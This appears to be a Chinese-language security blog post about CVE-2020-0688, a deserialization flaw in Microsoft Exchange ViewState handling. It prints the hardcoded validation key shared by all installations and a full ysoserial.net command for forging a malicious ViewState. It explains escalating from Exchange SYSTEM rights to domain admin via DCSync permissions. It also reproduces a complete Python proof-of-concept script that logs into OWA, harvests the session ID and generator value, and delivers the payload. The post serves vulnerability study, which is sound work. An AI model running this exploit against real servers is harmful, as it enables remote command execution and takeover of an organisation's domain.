0%

CVE-2020-0688

前置知识

.NET 相关漏洞中,ViewState也算是一个常客了。Exchange CVE-2020-0688,SharePoint CVE-2020-16952 中都出现过ViewState的身影。其实ViewState 并不算漏洞,只是ASP.NET 在生成和解析ViewState时使用ObjectStateFormatter 进行序列化和反序列化,虽然在序列化后又进行了加密和签名,但是一旦泄露了加密和签名所使用的算法和密钥,我们就可以将ObjectStateFormatter 的反序列化payload 伪装成正常的ViewState,并触发ObjectStateFormatter 的反序列化漏洞。
加密和签名序列化数据所用的算法和密钥存放在web.confg 中,Exchange 0688 是由于所有安装采用相同的默认密钥,而Sharepoitn 16952 则是因为泄露web.confg 。
.NET 反序列化神器 ysoserial.net 中有关于ViewState 的插件,其主要作用就是利用泄露的算法和密钥伪造ViewState的加密和签名,触发ObjectStateFormatter 反序列化漏洞。但是我们不应该仅仅满足于工具的使用,所以特意分析了ViewState 的加密和签名过程作成此文,把工具用的明明白白的。
.Net 反序列化之 ViewState 利用

漏洞详情

CVE-2020-0688 漏洞是因为用于保证viewstate安全性的静态密钥在所有Microsoft Exchange Server在安装后的web.config文件中都是相同的

1
2
validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1

我们要构造ViewState还需要viewstateuserkey和__VIEWSTATEGENERATOR,这两个参数可以在用户登录后通过前端页面直接获取/ecp/default.aspx

漏洞利用

当拥有了validationkey,validationalg,viewstateuserkey,__VIEWSTATEGENERATOR,使用YSoSerial.net生成序列化后的恶意的ViewState数据。

1
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy

然后对ViewState的payload进行URL编码,构造一个url如下:

1
/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

由于Exchange Server的机器用户具备SYSTEM权限,默认在域内拥有WriteAcl的权限,因此,可以通过修改ACL的DS-Replication-Get-Changes和DS-Replication-Get-Changes-All来赋予任何一个用户Dcsync的权限,所以这个漏洞的最大危害在于:在域内拥有一个普通用户权限的情况下,通过Exchange Server上以system用户的身份执行任意的命令,再利用Exchange Server的WriteAcl权限,从而达到域管权限。

POC

github上的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#coding:utf-8
#author:Jumbo
import readline
import requests
import re
import sys
import urllib3
urllib3.disable_warnings()
from urllib.parse import quote



def Exp(url,ASP_NET_SessionId,generator_result,command):
validationkey = 'CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF'
VIEWSTATECOMMAND = 'ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "{command}" --validationalg="SHA1" --validationkey="{validationkey}" --generator="{generator_result}" --viewstateuserkey="{ASP_NET_SessionId}" --isdebug –islegacy'.format(command=command,validationkey=validationkey, generator_result=generator_result,ASP_NET_SessionId=ASP_NET_SessionId)
print('please execute \n{VIEWSTATECOMMAND}'.format(VIEWSTATECOMMAND=VIEWSTATECOMMAND))
fuckkk = input('please write your ysoserial generate payload: ')
fuckkk = quote(fuckkk, 'utf-8')
expurl = 'https://{url}/ecp/default.aspx?__VIEWSTATEGENERATOR={generator_result}&__VIEWSTATE={fuckkk}'.format(url=url,generator_result=generator_result,fuckkk=fuckkk)
print(expurl)
expgo = s.get(expurl,verify=False)
print(expgo.status_code)
print('gogogoggogoggogogogogogogogogogog')

def GetSomething():
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
command = sys.argv[4]
destination = 'https://' + url + '/ecp/default.aspx'
authurl = 'https://' + url + '/owa/auth.owa'
logindata = 'destination={destination}&flags=4&forcedownlevel=0&username={username}&password={password}&passwordText=&isUtf8=1'.format(destination=destination,username=username, password=password)
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded","Cookie":"PrivateComputer=true; PBack=0"}
login = s.post(authurl, data=logindata,headers=headers,verify=False)
logincontent = login.content
# print(logincontent)
ASP_NET_SessionId = login.cookies['ASP.NET_SessionId']
if ASP_NET_SessionId:
print('got ASP_NET_SessionId Success')
print(ASP_NET_SessionId)
else:
print('got ASP_NET_SessionId Fail')
generator_regex = b'VIEWSTATEGENERATOR" value="(.*?)"'
try:
generator_result = re.findall(generator_regex,logincontent)[0].decode('utf-8')
if generator_result:
print('got generator_result Success')
print(generator_result)
else:
print('got generator_result Fail,try default')

except Exception as e:
generator_result = 'B97B4E27'
print(generator_result)




Exp(url,ASP_NET_SessionId,generator_result,command)

s = requests.Session()
GetSomething()

ref

https://nosec.org/home/detail/4158.html
https://www.freebuf.com/articles/web/228681.html
https://www.anquanke.com/post/id/199921
https://github.com/random-robbie/cve-2020-0688